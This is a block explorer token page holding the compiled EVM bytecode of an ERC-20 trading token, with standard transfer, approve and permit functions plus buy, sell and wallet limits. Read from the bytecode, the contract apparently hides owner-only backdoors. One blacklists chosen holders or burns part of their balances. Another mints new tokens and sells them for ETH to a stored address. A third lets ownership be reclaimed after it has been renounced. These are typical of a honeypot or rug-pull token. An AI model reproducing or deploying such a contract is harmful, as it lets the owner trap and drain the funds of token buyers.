0x6080604052600436106101445760003560e01c80636632a96d116100b6578063a9059cbb1161006f578063a9059cbb14610464578063c9567bf9146104a1578063d505accf146104b8578063dd62ed3e146104e1578063f851a4401461051e578063f9d0831a146105495761014b565b80636632a96d14610356578063667f65261461037f57806370a08231146103a8578063715018a6146103e55780637ecebe00146103fc57806395d89b41146104395761014b565b806323b872dd1161010857806323b872dd1461023257806329d2b1611461026f578063313ce567146102ac5780633644e515146102d757806340a9cb691461030257806349bd5a5e1461032b5761014b565b806306fdde031461014d578063094c95ff14610178578063095ea7b3146101a157806318160ddd146101de578063189ae5f2146102095761014b565b3661014b57005b005b34801561015957600080fd5b50610162610572565b60405161016f9190612b76565b60405180910390f35b34801561018457600080fd5b5061019f600480360381019061019a9190612c3d565b610600565b005b3480156101ad57600080fd5b506101c860048036038101906101c39190612cfb565b6107e8565b6040516101d59190612d56565b60405180910390f35b3480156101ea57600080fd5b506101f36108da565b6040516102009190612d80565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612d9b565b6108e0565b005b34801561023e57600080fd5b5061025960048036038101906102549190612dee565b61098a565b6040516102669190612d56565b60405180910390f35b34801561027b57600080fd5b5061029660048036038101906102919190612e41565b611035565b6040516102a39190612d56565b60405180910390f35b3480156102b857600080fd5b506102c1611055565b6040516102ce9190612e8a565b60405180910390f35b3480156102e357600080fd5b506102ec611079565b6040516102f99190612ebe565b60405180910390f35b34801561030e57600080fd5b5061032960048036038101906103249190612ed9565b6110d6565b005b34801561033757600080fd5b5061034061144b565b60405161034d9190612f15565b60405180910390f35b34801561036257600080fd5b5061037d60048036038101906103789190612e41565b611471565b005b34801561038b57600080fd5b506103a660048036038101906103a19190612f30565b6114f0565b005b3480156103b457600080fd5b506103cf60048036038101906103ca9190612e41565b611592565b6040516103dc9190612d80565b60405180910390f35b3480156103f157600080fd5b506103fa6115aa565b005b34801561040857600080fd5b50610423600480360381019061041e9190612e41565b6116fb565b6040516104309190612d80565b60405180910390f35b34801561044557600080fd5b5061044e611713565b60405161045b9190612b76565b60405180910390f35b34801561047057600080fd5b5061048b60048036038101906104869190612cfb565b6117a1565b6040516104989190612d56565b60405180910390f35b3480156104ad57600080fd5b506104b6611ce8565b005b3480156104c457600080fd5b506104df60048036038101906104da9190612fc8565b6122cc565b005b3480156104ed57600080fd5b506105086004803603810190610503919061306a565b6125c5565b6040516105159190612d80565b60405180910390f35b34801561052a57600080fd5b506105336125ea565b6040516105409190612f15565b60405180910390f35b34801561055557600080fd5b50610570600480360381019061056b9190612e41565b612610565b005b6000805461057f906130d9565b80601f01602080910402602001604051908101604052809291908181526020018280546105ab906130d9565b80156105f85780601f106105cd576101008083540402835291602001916105f8565b820191906000526020600020905b8154815290600101906020018083116105db57829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff1661061f612828565b73ffffffffffffffffffffffffffffffffffffffff1614610675576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066c90613156565b60405180910390fd5b60005b838390508110156107e2576064821115610720576065821461069b57600061069e565b60015b600d60008686858181106106b5576106b4613176565b5b90506020020160208101906106ca9190612e41565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506107cf565b6107ce84848381811061073657610735613176565b5b905060200201602081019061074b9190612e41565b836064600c600089898881811061076557610764613176565b5b905060200201602081019061077a9190612e41565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107bf9190613203565b6107c99190613234565b612852565b5b80806107da90613276565b915050610678565b50505050565b600081600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516108c89190612d80565b60405180910390a36001905092915050565b600b5481565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610970576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096790613156565b60405180910390fd5b826008819055508160078190555080600981905550505050565b600060011515600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610a1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a169061330a565b60405180910390fd5b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610b54578281610ad3919061332a565b600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b82600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ba3919061332a565b925050819055506000600854118015610c095750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15610c5457600854831115610c53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4a906133aa565b60405180910390fd5b5b6000600554118015610cb35750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015610ceb57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610d455750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610d5d5750600a60009054906101000a900460ff165b15610dff576000600554606485610d749190613203565b610d7e9190613234565b905080600c6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508084610dfb919061332a565b9350505b6000600954118015610e5f5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610eb95750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610f4357600954600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610f42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3990613416565b60405180910390fd5b5b82600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614611029578373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516110209190612d80565b60405180910390a35b60019150509392505050565b600d6020528060005260406000206000915054906101000a900460ff1681565b7f000000000000000000000000000000000000000000000000000000000000000681565b60007f000000000000000000000000000000000000000000000000000000000000000146146110af576110aa612956565b6110d1565b7fc37795fa612f092b3c24ffc4e96adaf5a0b37d014f7335363bcc5028284a44b65b905090565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90613156565b60405180910390fd5b6000600267ffffffffffffffff81111561118357611182613436565b5b6040519080825280602002602001820160405280156111b15781602001602082028036833780820191505090505b50905030816000815181106111c9576111c8613176565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611270573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611294919061347a565b816001815181106112a8576112a7613176565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506112ec30836129e2565b81600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016114159594939291906135aa565b600060405180830381600087803b15801561142f57600080fd5b505af1158015611443573d6000803e3d6000fd5b505050505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036114ed576114ac612828565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611580576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157790613156565b60405180910390fd5b81600581905550806006819055505050565b600c6020528060005260406000206000915090505481565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461163a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163190613156565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600f6020528060005260406000206000915090505481565b60018054611720906130d9565b80601f016020809104026020016040519081016040528092919081815260200182805461174c906130d9565b80156117995780601f1061176e57610100808354040283529160200191611799565b820191906000526020600020905b81548152906001019060200180831161177c57829003601f168201915b505050505081565b600060011515600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503611836576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182d9061330a565b60405180910390fd5b81600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611885919061332a565b9250508190555060006007541180156118eb5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1561193657600754821115611935576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192c90613650565b60405180910390fd5b5b60006006541180156119955750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80156119ef5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611a075750600a60009054906101000a900460ff165b15611aa9576000600654606484611a1e9190613203565b611a289190613234565b905080600c6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508083611aa5919061332a565b9250505b6000600954118015611b095750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b635750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611bf85760095482600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bb69190613670565b1115611bf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bee90613416565b60405180910390fd5b5b81600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611cde578273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611cd59190612d80565b60405180910390a35b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6f90613156565b60405180910390fd5b600a60009054906101000a900460ff1615611dc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dbf906136f0565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f71919061347a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ffa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061201e919061347a565b6040518363ffffffff1660e01b815260040161203b929190613710565b6020604051808303816000875af115801561205a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061207e919061347a565b600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161218696959493929190613739565b60606040518083038185885af11580156121a4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906121c991906137af565b505050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161226b929190613802565b6020604051808303816000875af115801561228a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122ae9190613857565b506001600a60006101000a81548160ff021916908315150217905550565b4284101561230f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612306906138d0565b60405180910390fd5b6000600161231b611079565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98a8a8a600f60008f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558b6040516020016123a3969594939291906138f0565b604051602081830303815290604052805190602001206040516020016123ca9291906139c9565b60405160208183030381529060405280519060200120858585604051600081526020016040526040516124009493929190613a00565b6020604051602081039080840390855afa158015612422573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415801561249657508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b6124d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124cc90613a91565b60405180910390fd5b85600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925876040516125b49190612d80565b60405180910390a350505050505050565b600e602052816000526040600020602052806000526040600020600091509150505481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146126a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161269790613156565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612720573373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561271a573d6000803e3d6000fd5b50612825565b600081905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016127609190612f15565b602060405180830381865afa15801561277d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127a19190613ab1565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b81526004016127de929190613802565b6020604051808303816000875af11580156127fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128219190613857565b5050505b50565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b80600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546128a1919061332a565b9250508190555080600b600082825403925050819055503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461295257600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516129499190612d80565b60405180910390a35b5050565b60007f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f60006040516129889190613b81565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc646306040516020016129c7959493929190613b98565b60405160208183030381529060405280519060200120905090565b80600b60008282546129f49190613670565b9250508190555080600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612ae2578173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ad99190612d80565b60405180910390a35b5050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b20578082015181840152602081019050612b05565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b4882612ae6565b612b528185612af1565b9350612b62818560208601612b02565b612b6b81612b2c565b840191505092915050565b60006020820190508181036000830152612b908184612b3d565b905092915050565b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b60008083601f840112612bc757612bc6612ba2565b5b8235905067ffffffffffffffff811115612be457612be3612ba7565b5b602083019150836020820283011115612c0057612bff612bac565b5b9250929050565b6000819050919050565b612c1a81612c07565b8114612c2557600080fd5b50565b600081359050612c3781612c11565b92915050565b600080600060408486031215612c5657612c55612b98565b5b600084013567ffffffffffffffff811115612c7457612c73612b9d565b5b612c8086828701612bb1565b93509350506020612c9386828701612c28565b9150509250925092565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612cc882612c9d565b9050919050565b612cd881612cbd565b8114612ce357600080fd5b50565b600081359050612cf581612ccf565b92915050565b60008060408385031215612d1257612d11612b98565b5b6000612d2085828601612ce6565b9250506020612d3185828601612c28565b9150509250929050565b60008115159050919050565b612d5081612d3b565b82525050565b6000602082019050612d6b6000830184612d47565b92915050565b612d7a81612c07565b82525050565b6000602082019050612d956000830184612d71565b92915050565b600080600060608486031215612db457612db3612b98565b5b6000612dc286828701612c28565b9350506020612dd386828701612c28565b9250506040612de486828701612c28565b9150509250925092565b600080600060608486031215612e0757612e06612b98565b5b6000612e1586828701612ce6565b9350506020612e2686828701612ce6565b9250506040612e3786828701612c28565b9150509250925092565b600060208284031215612e5757612e56612b98565b5b6000612e6584828501612ce6565b91505092915050565b600060ff82169050919050565b612e8481612e6e565b82525050565b6000602082019050612e9f6000830184612e7b565b92915050565b6000819050919050565b612eb881612ea5565b82525050565b6000602082019050612ed36000830184612eaf565b92915050565b600060208284031215612eef57612eee612b98565b5b6000612efd84828501612c28565b91505092915050565b612f0f81612cbd565b82525050565b6000602082019050612f2a6000830184612f06565b92915050565b60008060408385031215612f4757612f46612b98565b5b6000612f5585828601612c28565b9250506020612f6685828601612c28565b9150509250929050565b612f7981612e6e565b8114612f8457600080fd5b50565b600081359050612f9681612f70565b92915050565b612fa581612ea5565b8114612fb057600080fd5b50565b600081359050612fc281612f9c565b92915050565b600080600080600080600060e0888a031215612fe757612fe6612b98565b5b6000612ff58a828b01612ce6565b97505060206130068a828b01612ce6565b96505060406130178a828b01612c28565b95505060606130288a828b01612c28565b94505060806130398a828b01612f87565b93505060a061304a8a828b01612fb3565b92505060c061305b8a828b01612fb3565b91505092959891949750929550565b6000806040838503121561308157613080612b98565b5b600061308f85828601612ce6565b92505060206130a085828601612ce6565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806130f157607f821691505b602082108103613104576131036130aa565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613140602083612af1565b915061314b8261310a565b602082019050919050565b6000602082019050818103600083015261316f81613133565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061320e82612c07565b915061321983612c07565b925082613229576132286131a5565b5b828204905092915050565b600061323f82612c07565b915061324a83612c07565b925082820261325881612c07565b9150828204841483151761326f5761326e6131d4565b5b5092915050565b600061328182612c07565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036132b3576132b26131d4565b5b600182019050919050565b7f57616974696e6720666f7220626f7420636f6f6c646f776e2e00000000000000600082015250565b60006132f4601983612af1565b91506132ff826132be565b602082019050919050565b60006020820190508181036000830152613323816132e7565b9050919050565b600061333582612c07565b915061334083612c07565b9250828203905081811115613358576133576131d4565b5b92915050565b7f4572726f723a2053656c6c204c696d6974204578636565646564000000000000600082015250565b6000613394601a83612af1565b915061339f8261335e565b602082019050919050565b600060208201905081810360008301526133c381613387565b9050919050565b7f4572726f723a2057616c6c6574204c696d69742045786365656465642e200000600082015250565b6000613400601e83612af1565b915061340b826133ca565b602082019050919050565b6000602082019050818103600083015261342f816133f3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061347481612ccf565b92915050565b6000602082840312156134905761348f612b98565b5b600061349e84828501613465565b91505092915050565b6000819050919050565b6000819050919050565b60006134d66134d16134cc846134a7565b6134b1565b612c07565b9050919050565b6134e6816134bb565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61352181612cbd565b82525050565b60006135338383613518565b60208301905092915050565b6000602082019050919050565b6000613557826134ec565b61356181856134f7565b935061356c83613508565b8060005b8381101561359d5781516135848882613527565b975061358f8361353f565b925050600181019050613570565b5085935050505092915050565b600060a0820190506135bf6000830188612d71565b6135cc60208301876134dd565b81810360408301526135de818661354c565b90506135ed6060830185612f06565b6135fa6080830184612d71565b9695505050505050565b7f4572726f723a20427579204c696d697420457863656564656400000000000000600082015250565b600061363a601983612af1565b915061364582613604565b602082019050919050565b600060208201905081810360008301526136698161362d565b9050919050565b600061367b82612c07565b915061368683612c07565b925082820190508082111561369e5761369d6131d4565b5b92915050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006136da601783612af1565b91506136e5826136a4565b602082019050919050565b60006020820190508181036000830152613709816136cd565b9050919050565b60006040820190506137256000830185612f06565b6137326020830184612f06565b9392505050565b600060c08201905061374e6000830189612f06565b61375b6020830188612d71565b61376860408301876134dd565b61377560608301866134dd565b6137826080830185612f06565b61378f60a0830184612d71565b979650505050505050565b6000815190506137a981612c11565b92915050565b6000806000606084860312156137c8576137c7612b98565b5b60006137d68682870161379a565b93505060206137e78682870161379a565b92505060406137f88682870161379a565b9150509250925092565b60006040820190506138176000830185612f06565b6138246020830184612d71565b9392505050565b61383481612d3b565b811461383f57600080fd5b50565b6000815190506138518161382b565b92915050565b60006020828403121561386d5761386c612b98565b5b600061387b84828501613842565b91505092915050565b7f5045524d49545f444541444c494e455f45585049524544000000000000000000600082015250565b60006138ba601783612af1565b91506138c582613884565b602082019050919050565b600060208201905081810360008301526138e9816138ad565b9050919050565b600060c0820190506139056000830189612eaf565b6139126020830188612f06565b61391f6040830187612f06565b61392c6060830186612d71565b6139396080830185612d71565b61394660a0830184612d71565b979650505050505050565b600081905092915050565b7f1901000000000000000000000000000000000000000000000000000000000000600082015250565b6000613992600283613951565b915061399d8261395c565b600282019050919050565b6000819050919050565b6139c36139be82612ea5565b6139a8565b82525050565b60006139d482613985565b91506139e082856139b2565b6020820191506139f082846139b2565b6020820191508190509392505050565b6000608082019050613a156000830187612eaf565b613a226020830186612e7b565b613a2f6040830185612eaf565b613a3c6060830184612eaf565b95945050505050565b7f494e56414c49445f5349474e4552000000000000000000000000000000000000600082015250565b6000613a7b600e83612af1565b9150613a8682613a45565b602082019050919050565b60006020820190508181036000830152613aaa81613a6e565b9050919050565b600060208284031215613ac757613ac6612b98565b5b6000613ad58482850161379a565b91505092915050565b600081905092915050565b60008190508160005260206000209050919050565b60008154613b0b816130d9565b613b158186613ade565b94506001821660008114613b305760018114613b4557613b78565b60ff1983168652811515820286019350613b78565b613b4e85613ae9565b60005b83811015613b7057815481890152600182019150602081019050613b51565b838801955050505b50505092915050565b6000613b8d8284613afe565b915081905092915050565b600060a082019050613bad6000830188612eaf565b613bba6020830187612eaf565b613bc76040830186612eaf565b613bd46060830185612d71565b613be16080830184612f06565b969550505050505056fea2646970667358221220821e5d0f445258bb8929b829d5d1f8e18b6dae242dd7aa34f1b72573c43d6f5764736f6c63430008110033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.